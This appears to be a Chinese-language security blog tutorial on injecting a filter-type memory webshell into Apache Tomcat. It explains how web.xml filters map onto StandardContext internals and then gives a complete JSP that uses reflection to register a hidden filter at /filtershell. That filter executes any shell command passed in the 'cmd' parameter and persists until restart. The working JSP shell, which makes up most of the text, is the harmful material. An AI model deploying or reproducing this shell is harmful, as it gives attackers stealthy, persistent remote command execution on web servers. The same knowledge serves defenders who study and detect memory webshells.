web.xml配置Filter
调试点
主要有这几个关键类存储我们在web.xml中的属性
代码中的context.findFilterMaps() 即是我们创建的filter存储的地方
可以看到filterConfigs除了存放了filterDef还保存了当时的context.
- filterConfigs
- filterDefs
- filterDef
- filterMaps
filterDef相当于web.xml中的
<filter><filter-name>FilterTest</filter-name><filter-class>com.sorry.bug.CustomFilter</filter-class></filter>
filterMaps中则存储了web.xml中的,不过按照顺序来存储.
<filter-mapping><filter-name>FilterTest</filter-name><url-pattern>/filtertest</url-pattern></filter-mapping>
那么要想注入filter型内存马,则需要替代web.xml实现注入.
- 创建恶意filter
- 用filterDef将filter封装
- 将filterDef添加到filterDefs和filterConfigs中
- 创建一个新的filterMap将url和filter进行绑定,并添加到filterMaps中
要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去.
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启.
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import = "org.apache.catalina.Context" %><%@ page import = "org.apache.catalina.core.ApplicationContext" %><%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import = "org.apache.catalina.core.StandardContext" %><!-- tomcat 8/9 --><%@page import = "org.apache.tomcat.util.descriptor.web.FilterMap"%><%@page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%><!-- tomcat 7 --><!--org.apache.catalina.deploy.FilterMap"" org.apache.catalina.deploy.FilterDef"--><%@ page import = "javax.servlet.*" %><%@ page import = "javax.servlet.annotation.WebServlet" %><%@ page import = "javax.servlet.http.HttpServlet" %><%@ page import = "javax.servlet.http.HttpServletRequest" %><%@ page import = "javax.servlet.http.HttpServletResponse" %><%@ page import = "java.io.IOException" %><%@ page import = "java.lang.reflect.Constructor" %><%@ page import = "java.lang.reflect.Field" %><%@ page import = "java.lang.reflect.InvocationTargetException" %><%@ page import = "java.util.Map" %><%@ page import="java.io.PrintWriter" %><%class InsertFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;HttpServletResponse rsp = (HttpServletResponse) servletResponse;String command = req.getParameter("cmd");PrintWriter writer = rsp.getWriter();if (command != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder("cmd.exe", "/c", command);}else{p = new java.lang.ProcessBuilder("/bin/sh", "-c", command);}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}filterChain.doFilter(servletRequest, servletResponse);}public void destroy() {}}%><%String name="InsertFilter";//ServletContext servletContext = request.getServletContext();ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);if(filterConfigs.get(name) == null){InsertFilter insertFilter = new InsertFilter();FilterDef filterDef = new FilterDef();filterDef.setFilterName(name);filterDef.setFilterClass(insertFilter.getClass().getName());filterDef.setFilter(insertFilter);standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/filtershell");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.write("Inject Success");}else{out.write("Injected");}%>
